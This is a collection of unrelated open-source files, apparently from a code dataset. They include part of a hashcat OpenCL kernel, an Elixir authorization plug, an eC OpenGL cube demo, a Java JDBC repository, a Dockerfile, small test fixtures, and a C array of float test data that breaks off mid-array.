m27800m (w, pw_len, pws, rules_buf, combs_buf, words_buf_r, tmps, hooks, bitmaps_buf_s1_a, bitmaps_buf_s1_b, bitmaps_buf_s1_c, bitmaps_buf_s1_d, bitmaps_buf_s2_a, bitmaps_buf_s2_b, bitmaps_buf_s2_c, bitmaps_buf_s2_d, plains_buf, digests_buf, hashes_shown, salt_bufs, esalt_bufs, d_return_buf, d_extra0_buf, d_extra1_buf, d_extra2_buf, d_extra3_buf, bitmap_mask, bitmap_shift1, bitmap_shift2, SALT_POS, loop_pos, loop_cnt, il_cnt, digests_cnt, DIGESTS_OFFSET, combs_mode, salt_repeat, pws_pos, gid_max);
}
KERNEL_FQ void m27800_m08 (KERN_ATTR_VECTOR ())
{
/**
* base
*/
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
u32 w[16];
w[ 0] = pws[gid].i[ 0];
w[ 1] = pws[gid].i[ 1];
w[ 2] = pws[gid].i[ 2];
w[ 3] = pws[gid].i[ 3];
w[ 4] = pws[gid].i[ 4];
w[ 5] = pws[gid].i[ 5];
w[ 6] = pws[gid].i[ 6];
w[ 7] = pws[gid].i[ 7];
w[ 8] = 0;
w[ 9] = 0;
w[10] = 0;
w[11] = 0;
w[12] = 0;
w[13] = 0;
w[14] = pws[gid].i[14];
w[15] = 0;
const u32 pw_len = pws[gid].pw_len & 63;
/**
* main
*/
m27800m (w, pw_len, pws, rules_buf, combs_buf, words_buf_r, tmps, hooks, bitmaps_buf_s1_a, bitmaps_buf_s1_b, bitmaps_buf_s1_c, bitmaps_buf_s1_d, bitmaps_buf_s2_a, bitmaps_buf_s2_b, bitmaps_buf_s2_c, bitmaps_buf_s2_d, plains_buf, digests_buf, hashes_shown, salt_bufs, esalt_bufs, d_return_buf, d_extra0_buf, d_extra1_buf, d_extra2_buf, d_extra3_buf, bitmap_mask, bitmap_shift1, bitmap_shift2, SALT_POS, loop_pos, loop_cnt, il_cnt, digests_cnt, DIGESTS_OFFSET, combs_mode, salt_repeat, pws_pos, gid_max);
}
KERNEL_FQ void m27800_m16 (KERN_ATTR_VECTOR ())
{
/**
* base
*/
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
u32 w[16];
w[ 0] = pws[gid].i[ 0];
w[ 1] = pws[gid].i[ 1];
w[ 2] = pws[gid].i[ 2];
w[ 3] = pws[gid].i[ 3];
w[ 4] = pws[gid].i[ 4];
w[ 5] = pws[gid].i[ 5];
w[ 6] = pws[gid].i[ 6];
w[ 7] = pws[gid].i[ 7];
w[ 8] = pws[gid].i[ 8];
w[ 9] = pws[gid].i[ 9];
w[10] = pws[gid].i[10];
w[11] = pws[gid].i[11];
w[12] = pws[gid].i[12];
w[13] = pws[gid].i[13];
w[14] = pws[gid].i[14];
w[15] = pws[gid].i[15];
const u32 pw_len = pws[gid].pw_len & 63;
/**
* main
*/
m27800m (w, pw_len, pws, rules_buf, combs_buf, words_buf_r, tmps, hooks, bitmaps_buf_s1_a, bitmaps_buf_s1_b, bitmaps_buf_s1_c, bitmaps_buf_s1_d, bitmaps_buf_s2_a, bitmaps_buf_s2_b, bitmaps_buf_s2_c, bitmaps_buf_s2_d, plains_buf, digests_buf, hashes_shown, salt_bufs, esalt_bufs, d_return_buf, d_extra0_buf, d_extra1_buf, d_extra2_buf, d_extra3_buf, bitmap_mask, bitmap_shift1, bitmap_shift2, SALT_POS, loop_pos, loop_cnt, il_cnt, digests_cnt, DIGESTS_OFFSET, combs_mode, salt_repeat, pws_pos, gid_max);
}
KERNEL_FQ void m27800_s04 (KERN_ATTR_VECTOR ())
{
/**
* base
*/
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
u32 w[16];
w[ 0] = pws[gid].i[ 0];
w[ 1] = pws[gid].i[ 1];
w[ 2] = pws[gid].i[ 2];
w[ 3] = pws[gid].i[ 3];
w[ 4] = 0;
w[ 5] = 0;
w[ 6] = 0;
w[ 7] = 0;
w[ 8] = 0;
w[ 9] = 0;
w[10] = 0;
w[11] = 0;
w[12] = 0;
w[13] = 0;
w[14] = pws[gid].i[14];
w[15] = 0;
const u32 pw_len = pws[gid].pw_len & 63;
/**
* main
*/
m27800s (w, pw_len, pws, rules_buf, combs_buf, words_buf_r, tmps, hooks, bitmaps_buf_s1_a, bitmaps_buf_s1_b, bitmaps_buf_s1_c, bitmaps_buf_s1_d, bitmaps_buf_s2_a, bitmaps_buf_s2_b, bitmaps_buf_s2_c, bitmaps_buf_s2_d, plains_buf, digests_buf, hashes_shown, salt_bufs, esalt_bufs, d_return_buf, d_extra0_buf, d_extra1_buf, d_extra2_buf, d_extra3_buf, bitmap_mask, bitmap_shift1, bitmap_shift2, SALT_POS, loop_pos, loop_cnt, il_cnt, digests_cnt, DIGESTS_OFFSET, combs_mode, salt_repeat, pws_pos, gid_max);
}
KERNEL_FQ void m27800_s08 (KERN_ATTR_VECTOR ())
{
/**
* base
*/
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
u32 w[16];
w[ 0] = pws[gid].i[ 0];
w[ 1] = pws[gid].i[ 1];
w[ 2] = pws[gid].i[ 2];
w[ 3] = pws[gid].i[ 3];
w[ 4] = pws[gid].i[ 4];
w[ 5] = pws[gid].i[ 5];
w[ 6] = pws[gid].i[ 6];
w[ 7] = pws[gid].i[ 7];
w[ 8] = 0;
w[ 9] = 0;
w[10] = 0;
w[11] = 0;
w[12] = 0;
w[13] = 0;
w[14] = pws[gid].i[14];
w[15] = 0;
const u32 pw_len = pws[gid].pw_len & 63;
/**
* main
*/
m27800s (w, pw_len, pws, rules_buf, combs_buf, words_buf_r, tmps, hooks, bitmaps_buf_s1_a, bitmaps_buf_s1_b, bitmaps_buf_s1_c, bitmaps_buf_s1_d, bitmaps_buf_s2_a, bitmaps_buf_s2_b, bitmaps_buf_s2_c, bitmaps_buf_s2_d, plains_buf, digests_buf, hashes_shown, salt_bufs, esalt_bufs, d_return_buf, d_extra0_buf, d_extra1_buf, d_extra2_buf, d_extra3_buf, bitmap_mask, bitmap_shift1, bitmap_shift2, SALT_POS, loop_pos, loop_cnt, il_cnt, digests_cnt, DIGESTS_OFFSET, combs_mode, salt_repeat, pws_pos, gid_max);
}
KERNEL_FQ void m27800_s16 (KERN_ATTR_VECTOR ())
{
/**
* base
*/
const u64 gid = get_global_id (0);
if (gid >= gid_max) return;
u32 w[16];
w[ 0] = pws[gid].i[ 0];
w[ 1] = pws[gid].i[ 1];
w[ 2] = pws[gid].i[ 2];
w[ 3] = pws[gid].i[ 3];
w[ 4] = pws[gid].i[ 4];
w[ 5] = pws[gid].i[ 5];
w[ 6] = pws[gid].i[ 6];
w[ 7] = pws[gid].i[ 7];
w[ 8] = pws[gid].i[ 8];
w[ 9] = pws[gid].i[ 9];
w[10] = pws[gid].i[10];
w[11] = pws[gid].i[11];
w[12] = pws[gid].i[12];
w[13] = pws[gid].i[13];
w[14] = pws[gid].i[14];
w[15] = pws[gid].i[15];
const u32 pw_len = pws[gid].pw_len & 63;
/**
* main
*/
m27800s (w, pw_len, pws, rules_buf, combs_buf, words_buf_r, tmps, hooks, bitmaps_buf_s1_a, bitmaps_buf_s1_b, bitmaps_buf_s1_c, bitmaps_buf_s1_d, bitmaps_buf_s2_a, bitmaps_buf_s2_b, bitmaps_buf_s2_c, bitmaps_buf_s2_d, plains_buf, digests_buf, hashes_shown, salt_bufs, esalt_bufs, d_return_buf, d_extra0_buf, d_extra1_buf, d_extra2_buf, d_extra3_buf, bitmap_mask, bitmap_shift1, bitmap_shift2, SALT_POS, loop_pos, loop_cnt, il_cnt, digests_cnt, DIGESTS_OFFSET, combs_mode, salt_repeat, pws_pos, gid_max);
}
| OpenCL | 4 | fengjixuchui/hashcat | OpenCL/m27800_a3-optimized.cl | [
"MIT"
] |
defmodule ChatApiWeb.EnsureRolePlug do
@moduledoc """
This plug ensures that a user has a particular role.
## Example
plug ChatApiWeb.EnsureRolePlug, [:user, :admin]
plug ChatApiWeb.EnsureRolePlug, :admin
plug ChatApiWeb.EnsureRolePlug, ~w(user admin)a
"""
import Plug.Conn, only: [halt: 1, put_status: 2]
alias Phoenix.Controller
alias Plug.Conn
alias Pow.Plug
@doc false
@spec init(any()) :: any()
def init(config), do: config
@doc false
@spec call(Conn.t(), atom() | binary() | [atom()] | [binary()]) :: Conn.t()
def call(conn, roles) do
conn
|> Plug.current_user()
|> has_role?(roles)
|> maybe_halt(conn)
end
defp has_role?(nil, _roles), do: false
defp has_role?(user, roles) when is_list(roles), do: Enum.any?(roles, &has_role?(user, &1))
defp has_role?(user, role) when is_atom(role), do: has_role?(user, Atom.to_string(role))
defp has_role?(%{role: role}, role), do: true
defp has_role?(_user, _role), do: false
defp maybe_halt(true, conn), do: conn
defp maybe_halt(_any, conn) do
# TODO: figure out a better way to handle this
conn
|> put_status(401)
|> Controller.json(%{error: %{status: 401, message: "Unauthorized access"}})
|> halt()
end
end
| Elixir | 5 | raditya3/papercups | lib/chat_api_web/ensure_role_plug.ex | [
"MIT"
] |
+++ [> ++++ <-]
0 12
00 00 00 00 0c 00 00 00 00 00 00 00 00 00 00 00
| Brainfuck | 2 | pablojorge/brainfuck | cpp/test.bf | [
"MIT"
] |
option now = () => 2020-02-22T18:00:00Z
@tableflux.h2o_temperature{location, state,
bottom_degrees, surface_degrees, time > -3y}
|> select(fn: first, by: ["location"], window: 1h)
| FLUX | 3 | RohanSreerama5/flux | colm/tableflux/query20.flux | [
"MIT"
] |
vec3 v_normal : NORMAL = vec3(0.0, 0.0, 1.0);
vec2 v_texcoord0 : TEXCOORD0 = vec2(0.0, 0.0);
vec3 v_color : COLOR0 = vec3(1.0, 0.0, 0.0);
vec3 v_normal : NORMAL = vec3(0.0, 1.0, 0.0);
vec4 v_position : POSITION = vec4(0.0, 0.0, 0.0, 0.0);
mat3 v_tbnViewSpace : TEXCOORD1;
vec4 v_shadowcoord : TEXCOORD2;
vec4 a_position : POSITION;
vec3 a_normal : NORMAL;
vec2 a_texcoord0 : TEXCOORD0;
vec3 a_tangent : TANGENT;
vec3 a_bitangent : BINORMAL; | Io | 3 | elix22/GPlayEngine | res/core/shaders/forward/forward.io | [
"Apache-2.0"
] |
import "ecere"
class MyApp : GuiApplication
{
driver = "OpenGL";
// driver = "Direct3D";
};
Camera camera
{
fixed,
position = Vector3D { 0, 0, -200 },
orientation = Euler { 0, 0, 0 },
fov = 53;
};
Light light
{
//diffuse = white;
specular = white;
orientation = Euler { pitch = 10, yaw = 30 };
};
Light light2
{
diffuse = white;
//specular = white;
orientation = Euler { pitch = 20, yaw = -30 };
};
class FunkaColorCube : Object
{
public:
bool Create(DisplaySystem displaySystem)
{
bool result = false;
if(this)
{
InitializeMesh(displaySystem);
if(mesh)
{
if(mesh.Allocate({ vertices = true, texCoords1 = true, colors = true }, 24, displaySystem))
{
Vector3Df vertices[24] =
{
{ -(float)size.x/2,-(float)size.y/2,-(float)size.z/2 },
{ (float)size.x/2,-(float)size.y/2,-(float)size.z/2 },
{ (float)size.x/2, (float)size.y/2,-(float)size.z/2 },
{ -(float)size.x/2, (float)size.y/2,-(float)size.z/2 },
{ -(float)size.x/2,-(float)size.y/2, (float)size.z/2 },
{ (float)size.x/2,-(float)size.y/2, (float)size.z/2 },
{ (float)size.x/2, (float)size.y/2, (float)size.z/2 },
{ -(float)size.x/2, (float)size.y/2, (float)size.z/2 },
{ -(float)size.x/2,-(float)size.y/2,-(float)size.z/2 },
{ (float)size.x/2,-(float)size.y/2,-(float)size.z/2 },
{ (float)size.x/2, (float)size.y/2,-(float)size.z/2 },
{ -(float)size.x/2, (float)size.y/2,-(float)size.z/2 },
{ -(float)size.x/2,-(float)size.y/2, (float)size.z/2 },
{ (float)size.x/2,-(float)size.y/2, (float)size.z/2 },
{ (float)size.x/2, (float)size.y/2, (float)size.z/2 },
{ -(float)size.x/2, (float)size.y/2, (float)size.z/2 },
{ -(float)size.x/2,-(float)size.y/2,-(float)size.z/2 },
{ (float)size.x/2,-(float)size.y/2,-(float)size.z/2 },
{ (float)size.x/2, (float)size.y/2,-(float)size.z/2 },
{ -(float)size.x/2, (float)size.y/2,-(float)size.z/2 },
{ -(float)size.x/2,-(float)size.y/2, (float)size.z/2 },
{ (float)size.x/2,-(float)size.y/2, (float)size.z/2 },
{ (float)size.x/2, (float)size.y/2, (float)size.z/2 },
{ -(float)size.x/2, (float)size.y/2, (float)size.z/2 }
};
Pointf texCoords[24] =
{
{ 0, 0 }, { 1, 0 }, { 1, 1 }, { 0, 1 },
{ 1, 0 }, { 0, 0 }, { 0, 1 }, { 1, 1 },
{ 1, 0 }, { 0, 0 }, { 0, 1 }, { 1, 1 },
{ 0, 0 }, { 1, 0 }, { 1, 1 }, { 0, 1 },
{ 0, 1 }, { 1, 1 }, { 1, 1 }, { 0, 1 },
{ 0, 0 }, { 1, 0 }, { 1, 0 }, { 0, 0 }
};
ColorRGBAf colors[24] =
{
red, magenta, teal, white,
blue, cyan, black, pink,
orange, powderBlue, lightGreen, violet,
green, gray, lightBlue, blanchedAlmond,
purple, forestGreen, slateGray, lavender,
yellow, lime, salmon, tomato
};
uint16 indices[6][4] =
{
// up, front, down, back, right, left
{ 17,21,20,16 },
{ 0,3,2,1 },
{ 22,18,19,23 },
{ 5,6,7,4 },
{ 9,10,14,13 },
{ 12,15,11,8 }
};
int c;
CopyBytes(mesh.vertices, vertices, sizeof(vertices));
CopyBytes(mesh.texCoords, texCoords, sizeof(texCoords));
CopyBytes(mesh.colors, colors, sizeof(colors));
for(c = 0; c<6; c++)
{
PrimitiveGroup group;
group = mesh.AddPrimitiveGroup(quads, 4);
if(group)
{
CopyBytes(group.indices, indices[c], sizeof(indices[c]));
mesh.UnlockPrimitiveGroup(group);
}
}
mesh.ComputeNormals();
result = true;
mesh.Unlock(0);
}
SetMinMaxRadius(true);
}
}
return result;
}
property Vector3Df size { set { size = value; } };
private:
FunkaColorCube()
{
size = { 1,1,1 };
}
Vector3Df size;
}
class Test3D : Window
{
text = "Form1";
background = black;
borderStyle = sizable;
hasMaximize = true;
hasMinimize = true;
hasClose = true;
size = { 480, 480 };
//BitmapResource texture { "http://www.ecere.com/images/knot.png", window = this };
FunkaColorCube cube { };
Material cubeMat { opacity = 1.0f, diffuse = white, ambient = white, flags = { doubleSided = true, translucent = true } };
bool OnLoadGraphics()
{
cube.Create(displaySystem);
//cubeMat.baseMap = texture.bitmap;
cube.mesh.ApplyMaterial(cubeMat);
cube.mesh.ApplyTranslucency(cube);
cube.transform.scaling = { 100, 100, 100 };
cube.transform.position = { 0, 0, 0 };
cube.transform.orientation = Euler { 50, 50 };
cube.UpdateTransform();
return true;
}
void OnResize(int w, int h)
{
camera.Setup(w, h, null);
}
void OnRedraw(Surface surface)
{
surface.Clear(depthBuffer);
camera.Update();
display.SetLight(0, light);
display.SetLight(1, light2);
display.fogDensity = 0;
display.SetCamera(surface, camera);
display.DrawObject(cube);
display.SetCamera(surface, null);
}
}
Test3D test3D {};
| eC | 4 | N-eil/ecere-sdk | samples/3D/VertexColorTest/VertexColorTest.ec | [
"BSD-3-Clause"
] |
package com.baeldung.multiplecachemanager.repository;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.List;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.jdbc.core.RowCallbackHandler;
import org.springframework.stereotype.Repository;
import com.baeldung.multiplecachemanager.entity.Customer;
import com.baeldung.multiplecachemanager.entity.Order;
@Repository
public class CustomerDetailRepository {
@Autowired
private JdbcTemplate jdbcTemplate;
public Customer getCustomerDetail(Integer customerId) {
String customerQuery = "select * from customer where customerid = ? ";
Customer customer = new Customer();
jdbcTemplate.query(customerQuery, new Object[] { customerId }, new RowCallbackHandler() {
public void processRow(ResultSet rs) throws SQLException {
customer.setCustomerId(rs.getInt("customerid"));
customer.setCustomerName(rs.getString("customername"));
}
});
return customer;
}
public List<Order> getCustomerOrders(Integer customerId) {
String customerOrderQuery = "select * from orderdetail where customerid = ? ";
List<Order> orders = new ArrayList<Order>();
jdbcTemplate.query(customerOrderQuery, new Object[] { customerId }, new RowCallbackHandler() {
public void processRow(ResultSet rs) throws SQLException {
Order order = new Order();
order.setCustomerId(rs.getInt("customerid"));
order.setItemId(rs.getInt("orderid"));
order.setOrderId(rs.getInt("orderid"));
order.setQuantity(rs.getInt("quantity"));
orders.add(order);
}
});
return orders;
}
}
| Java | 4 | DBatOWL/tutorials | spring-caching/src/main/java/com/baeldung/multiplecachemanager/repository/CustomerDetailRepository.java | [
"MIT"
] |
@unknown {}
@\unknown {}
| CSS | 0 | Brooooooklyn/swc | css/parser/tests/fixture/at-rule/unknown/input.css | [
"Apache-2.0",
"MIT"
] |
;;; Set functions
;; Member was already defined so it could be used by require
(defun union (a b)
"Combine two sets by the union set function."
(if (nullp a)
b
(if (member (car a) b)
(union (cdr a) b)
(cons (car a) (union (cdr a) b)))))
(defun adjoin (el lst)
"Add element to set if it's not already a member of that set."
(if (member el lst)
lst
(cons el lst)))
(defun intersection (a b)
"Return set containing elements only present in both sets."
(if (nullp a)
nil
(if (member (car a) b)
(cons (car a) (intersection (cdr a) b))
(intersection (cdr a) b))))
(provide 'set)
| wisp | 5 | skeeto/wisp | wisplib/set.wisp | [
"Unlicense"
] |
FROM alpine:3.12
ARG DOCKER_CLI_VERSION=${DOCKER_CLI_VERSION}
RUN wget -O- https://download.docker.com/linux/static/stable/$(uname -m)/docker-${DOCKER_CLI_VERSION}.tgz | \
tar -xzf - docker/docker --strip-component=1 && \
mv docker /usr/local/bin
COPY dive /usr/local/bin/
ENTRYPOINT ["/usr/local/bin/dive"]
| Dockerfile | 3 | rx007/dive | Dockerfile | [
"MIT"
] |
static const uint32_t in_com1[350] = {
0x3e903410, 0xbf1049d1, 0x3ebf6eae, 0xbfaf711a,
0xbf5ed4c6, 0xbf4f78f1, 0xbf2fef2b, 0xbcbe52ae,
0xbe146d81, 0xbf5fdfd8, 0x3eb8f5f8, 0x3eb82e63,
0x3f82891e, 0x3dfe9701, 0xbc862250, 0xbecebaf5,
0xbf0cb3ec, 0xbe843530, 0x3fab8d13, 0xbfd356c9,
0x3e292f32, 0x3edf40f8, 0xbfd30e17, 0x3fa526fb,
0x3efc610b, 0x40087d0d, 0x3f60f572, 0xbf67e768,
0x3e6c3472, 0x3f0fc336, 0x3f9549f0, 0xbefd0268,
0xbc552cc4, 0xbf9faae9, 0xbe597e7b, 0xbe41d269,
0xbc159ea7, 0xbf8ec46e, 0x3f8f62b2, 0x3ea85769,
0x3c5823fd, 0xbf3b41e5, 0x3ec05dd8, 0x3ec9157f,
0x3f996de6, 0xbe5dab16, 0x3ed3ab33, 0xbf5a5cc4,
0xbe57df19, 0xbf0dd789, 0xbf3ae7b1, 0x3f230249,
0x3e0e1579, 0x3fa0202e, 0x3efe8bd5, 0x3eb752fe,
0x3f1728c6, 0x3c61bd50, 0xbed342a4, 0xbf628545,
0x3fa20144, 0xbf182e53, 0x3f9586ec, 0x3d07297c,
0xbfd6a380, 0xbf420242, 0x3eb9278f, 0x3fa0d0f2,
0xbf0cfa3b, 0x3fd6f3b3, 0x3f06fe7b, 0xbf4a5ac5,
0x3c586db4, 0xbf5b0a7f, 0x3faa05c4, 0xbf25f001,
0x3f6f42a6, 0x3dc3709c, 0x3f6152ae, 0xbf1a3f69,
0x3fa54138, 0x3de1dd76, 0x3f8ba76d, 0x3e430e07,
0xbf5531d7, 0x3fea6e31, 0x3e6b3735, 0x3f8bb4e8,
0x3ec01a6f, 0x3f57ea90, 0x3db169b2, 0x3e8e0b9b,
0x3f706587, 0xbf0fea16, 0x3f0b8f9c, 0xbdc68d8b,
0xbed0346f, 0xbfa64fcb, 0xbe4ac326, 0x3fd085ef,
0xbfe57faf, 0x3f20891d, 0xbec56937, 0xbfd5da60,
0x3ef422c8, 0xbf0e69d0, 0xbfa5db9a, 0xbf05a8c6,
0xbf28d539, 0xbfd9a359, 0x3f2d8b7c, 0xbfb58669,
0xbf188581, 0x3f649a40, 0xbfcc7bcf, 0xbf935aed,
0xbeebefd5, 0xbfdda28e, 0x3ea8d823, 0x3f03b80d,
0x3f277def, 0xbf178d65, 0xbec187eb, 0x3f387b6d,
0xbf599f0d, 0x3f26f757, 0x3da41c60, 0xbfd426a9,
0xbfb3da02, 0x3f9087b9, 0xc0060c3f, 0xbe919801,
0xbf3aaf4b, 0xbd817fb0, 0xbfd7f437, 0x3e826504,
0x3f31878c, 0x3cb6e56b, 0xbfdea209, 0x3f56dc35,
0xbf3e1dfa, 0xbf0ed8d4, 0xbf3a3c24, 0xbf53c3cd,
0xbf181365, 0x3f108cf5, 0xbf0dc043, 0x3f2488a8,
0x3e27baca, 0x3f73505a, 0xbe9395b7, 0x3f7bf14b,
0xbd23cee2, 0xbde7c425, 0x3e1e5ab9, 0xbf33bcb5,
0x3f858927, 0xbf6ddfc1, 0x3ecfb4b4, 0x3f163e48,
0x3f5ac87d, 0x3f5cdf4c, 0xbf973754, 0x3f1df2f5,
0x3dbb69aa, 0x3f1be1a5, 0x3ee8484b, 0xbfd2ff0d,
0xbfdd4b7f, 0xc01ee6e0, 0x3f49b8ef, 0xbea5d56e,
0x3e8c66a7, 0x3eeecf27, 0x3f4c58ff, 0xbfc3b9c0,
0x3f5eccb3, 0x3f146c84, 0x3f2cb766, 0xbd560c22,
0x3f9a229c, 0xbffcd98d, 0x3fed9496, 0x3fc5a67f,
0xbdc0cbd4, 0x3fb97a32, 0xbf226ef7, 0x3f366c07,
0xbff78136, 0xbf320e8e, 0xbfe1dc6b, 0xbf6dc2a6,
0xbe33abb4, 0x3f886a9d, 0x3efddfdb, 0x3f61e505,
0xbf0243bc, 0x3fa939c7, 0xbf98e722, 0x3f1a5b01,
0xbf802926, 0xc00352db, 0xbf81e544, 0x3d838192,
0xbf9cf2dd, 0x3e6a922f, 0x3fdecac4, 0xbe7feea6,
0x3e08ba97, 0xbf6e2d34, 0xbfefec52, 0x3f223c74,
0xbeed6b6a, 0xbeafea05, 0x3fcea804, 0x3eeee3ad,
0x3fca12b3, 0x3fd2c20f, 0xbfc3c2cd, 0x3f92741f,
0xbdae53ef, 0x3e8df61d, 0x3fcc7c9d, 0x3ed2b8f0,
0x3f338231, 0x3edd80f0, 0x3c70dce5, 0xbec3a1f4,
0xbe270d39, 0x3f66fdf1, 0xbf60b65b, 0x3f8ebb48,
0x3fd6ab9a, 0x3e34f62e, 0x3d1a4bde, 0xbf459ee3,
0xbffe2c58, 0xbe84f3be, 0x3f1046d6, 0x3fa505e5,
0x3fbca659, 0x3f9a479c, 0x3f4a6e64, 0xbfc8f533,
0xbd727cfb, 0xbfbc0c65, 0xbd0852af, 0x3e21f429,
0x3ecbf0fd, 0x3f7352e2, 0x3ee1e3d0, 0xbf400d31,
0xbea361c4, 0xbf90734a, 0x3f151a7b, 0x3ffde702,
0x3e0036d5, 0xbe5b9b32, 0xbf27c2db, 0xbfbc4242,
0xbf8707f1, 0x3f37f8d6, 0x3fbeaccc, 0x3f86cf23,
0xbfe24ea7, 0x3f38e80d, 0xbf9485be, 0xbfc128b5,
0x3f89c3ba, 0x3ec7cf3e, 0x3e9122e4, 0x3ea5a164,
0xbf3d8196, 0xbeb71544, 0x3efc081a, 0xbe9e74ac,
0xbdb46853, 0xbeb54448, 0xbe54adf2, 0x3fd42c02,
0x3f2728ed, 0x3e09f09d, 0x3fe2ca77, 0x3f83e3b5,
0xbfa9ae0b, 0x3f20a3b5, 0x3f8ebabd, 0x3fdce810,
0xbf423ee0, 0xbefe3388, 0xbee08746, 0x4014e2cc,
0x3d3e6204, 0x3f591024, 0xbf10e7b3, 0xbfb956c4,
0xbce36d09, 0x3f076b43, 0xbdfbd7f2, 0x3f9577a6,
0xbd11d862, 0xbfa53b14, 0xbf0d053e, 0x3ec87a6f,
0xbf21263e, 0xbed6de0d, 0xbf8ee39b, 0x3fb71b3d,
0xbf6ded63, 0xbf10581d, 0x3f88e75b, 0x3f4b600c,
0x3c419981, 0xbde3de62, 0xbcfab604, 0xbfd9e978,
0x3df95b72, 0xbf28fa7b, 0xbe70f3d1, 0x3ccd35d2,
0x3efb75c6, 0x3ff97982, 0xbf970cfe, 0xbecb2c14,
0x3f96844f, 0xbfb75fcb, 0x3e137579, 0xc002cbd2,
0xc01b8891, 0xbd759be4, 0xbea008d5, 0xbd3dcbc7,
0xbf80cd2a, 0x3f62ad7d, 0xbf3550ff, 0x3dfca422,
0x3efda9c5, 0x3fb3d173, 0xbdbd4558, 0x3f042ff0,
0x3fd3bc61, 0xbf741a97, 0x3fd65586, 0xbeb245d3,
0x3f9ab8e6, 0xbe44fabc, 0x3dc480f8, 0x3f01a9b5,
0xbf556abb, 0x3e5333f4
};
static const uint32_t in_com2[350] = {
0x3e04bc9d, 0x3fe7a5bf, 0xbf3e90cb, 0x3fda466a,
0xbf3e9446, 0x3f5a689e, 0xbeb58241, 0xbf5517c1,
0xbe9b6d68, 0xbf0b0da7, 0xbfcf54d0, 0xbe16c192,
0x3d4f844c, 0xbec32914, 0x3f190d49, 0xbf180397,
0xbf86303a, 0xbf23901e, 0x3f6686e5, 0xbeb236d6,
0x3f1badce, 0xc0330d72, 0xbf5e795a, 0x3f6d58f8,
0xbac3dcb3, 0xbff6a54b, 0x3ef28120, 0x3e11dc59,
0xbfca7646, 0x3ea3570c, 0x3e6eff63, 0x3e9897c3,
0x3f21dfb9, 0xbfd47cbd, 0xbf07a694, 0xbfd9b2d4,
0xbec24dd7, 0xbece6eae, 0x3edba25e, 0xbe7bae5a,
0x3e831cb1, 0xbe9c9386, 0x3eeb1291, 0xbf9530a7,
0xbeb06be4, 0x3fb7fa42, 0xbee989c7, 0xbf8869ba,
0xbe239b08, 0xbf06a16d, 0x3fad857e, 0xbf1b10dd,
0x3e795829, 0xbfc75087, 0xbf43297b, 0xbf2cc1c1,
0x3fc0e396, 0x3f835c34, 0xbf26da99, 0xbfa97ad8,
0x3f1bcd63, 0xbf50302a, 0xbf9103f8, 0xc01031e8,
0xbe13a0e0, 0xbe3c205b, 0xbf0c9a5a, 0xbf651689,
0x3f9e6793, 0xbff5a158, 0xbded40f1, 0x3f18bd57,
0xbfbb62a5, 0xbea1b271, 0xbf19d28b, 0x3f496ea3,
0x3d89b67a, 0xbeba707e, 0x3f3426a0, 0x3f81d6fa,
0xbf0431cd, 0x3b2b451c, 0x3fad1255, 0xbd96faa9,
0xbf83235a, 0xbc3683d2, 0xc00dfff5, 0xc01229de,
0xbf07e221, 0xbf968045, 0x3fe0096b, 0xbe75bdd1,
0x3f89385d, 0x3f0d29db, 0x3f945e1d, 0x3f269891,
0xbf047992, 0x3ebe5737, 0x3dca2e63, 0xbf96c8ab,
0x3eb6e866, 0xbcaa2042, 0x401cae07, 0xbd7398e4,
0x3f92b557, 0x3ff203a0, 0x3fe6bd7d, 0x3f61e42c,
0xbf50cdbe, 0x3f6c2047, 0xbe8673b8, 0x3ed275f7,
0x3f631e94, 0x3f6103e0, 0x3f465cb2, 0x3f6705a5,
0x3ed2b465, 0x3f27494a, 0xc06298ae, 0xbfa0c942,
0x3fac2a55, 0xbf9fa72e, 0x3f2560c5, 0xbf0ecfcf,
0x3e979c01, 0xbeb340b4, 0xbfa5d596, 0xbc17ecd8,
0xbfd9ef60, 0x3f072750, 0x3f9340a8, 0xbf5a6fc9,
0xbf08f41e, 0xbf055577, 0x3fc4f985, 0xbff9507e,
0xbd25cc0c, 0x3ec4443d, 0x3f6dc685, 0x3f932b6d,
0xbf9ffe2f, 0xbf92b7d6, 0x3ed7287e, 0x3fa6bb14,
0x3eb393df, 0xbf2f72f8, 0x3ee4f8a3, 0xbfc482fc,
0x3e8925d3, 0x3f4cad0a, 0xbdc088bd, 0x3e039a67,
0xbfe268ae, 0xbf4314e0, 0xbe0f43ca, 0x3f819d86,
0x3ffdc3f4, 0xc0036cf8, 0x3e95181d, 0x3fac1e02,
0xbf7e027b, 0x3ef83732, 0xbf653de8, 0x3ee5f749,
0xbe5e315c, 0xbf53da00, 0xbf8ab35a, 0x3d9594c3,
0xbcaf6d8b, 0x3f9503f6, 0xbdd4b440, 0x3fd76f9d,
0x3f4c0263, 0xbf7273cc, 0x3efcd732, 0x4006f377,
0x3ef51441, 0x400d8bf7, 0xbdd474b9, 0x3f1467d9,
0xbfb10a79, 0xbd7a9c8f, 0xbe2b918d, 0x3ca3c350,
0x3e107c2d, 0xbde3df50, 0x3aec8ce6, 0x3dad5303,
0x3ebaa109, 0xbec4d962, 0x3f620f98, 0xbdffb842,
0xbe895919, 0xbea693ea, 0x3e742ef7, 0x3f9a28f8,
0x3f14435b, 0x3f1ac1d1, 0xbf8c670f, 0x3fe9e68b,
0xbea25750, 0x3ddae045, 0x3eb2bc99, 0x3ffba0ad,
0xbef219d2, 0xbf8946a8, 0xbff32ff1, 0xbdd15f08,
0xbe779d09, 0x3f62ccce, 0x3f57b48d, 0x3ed14b03,
0x3fb1785b, 0xbe836849, 0xc0316132, 0xbf41723a,
0x3db408a0, 0x3f1a36a8, 0xbf720ac3, 0x3eda1584,
0xbefa8f4e, 0xbdf65016, 0xbf52b075, 0xbf8ae362,
0xbf191474, 0xbf538f6f, 0xbfebc0bc, 0x3f380e5d,
0x3f09fd15, 0x3f8cecab, 0xbe1416e3, 0xbf25557d,
0xbf08f942, 0xbf815c93, 0xbfeaafda, 0x3c3e546f,
0xbe17e210, 0xbefb1ffc, 0x3f23a1f1, 0x3f53d87e,
0xbf5a3362, 0xbe37a5d7, 0xbe83143a, 0x3e9f1faf,
0x3f5fca75, 0xbe33e2ad, 0xbd36ea59, 0xbf22207e,
0x3ef2dc4f, 0xbec29a6b, 0xbfd45329, 0xbfd9e085,
